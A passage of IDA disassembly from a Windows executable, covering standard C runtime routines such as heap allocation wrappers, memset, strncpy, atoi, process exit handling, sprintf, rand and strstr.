		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFC4
		call	dword_427198	; RtlReAllocateHeap
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB9BC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C9B4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DCFC4
		call	dword_427144	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFC4
		call	dword_427198	; RtlReAllocateHeap
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB9BC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFC4
		call	dword_427198	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB9BC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB9BC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFC8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DCFC0
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C9B4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DCFC4
		call	dword_427144	; RtlAllocateHeap


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: sub_401221+49Fp
					; sub_401221+4BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43CBC4, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C9B8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43CBC4, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C9B8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: sub_401221+306p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B784	proc near		; CODE XREF: sub_41D933+93p
		mov	eax, off_43A95C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: sub_41B784+7j
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
sub_41B784	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7B1	proc near		; CODE XREF: sub_41D933+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: .packed:0041DA24p
					; sub_41DA29+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: sub_41B7B1+8p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB980, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		call	dword_4270F8	; GetCurrentProcess
		push	eax
		call	dword_4270F0	; TerminateProcess


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB97C, edi
		mov	byte_4DB978, bl
		jnz	short loc_41B844
		mov	eax, dword_4DCFDC
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DCFD8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DCFDC
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB980, edi
		call	dword_427064	; ExitProcess


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: sub_41B784+15p
					; sub_41B784+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: sub_401221+18Fp
					; sub_401221+295p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: sub_401221+45p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A940, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: sub_401221:loc_401379p
					; sub_401221:loc_4016A7p ...
		mov	eax, dword_43A940
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A940, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: sub_401221+12Dp
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: sub_401221+11Ap
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: sub_401221+F7p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DCEA1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
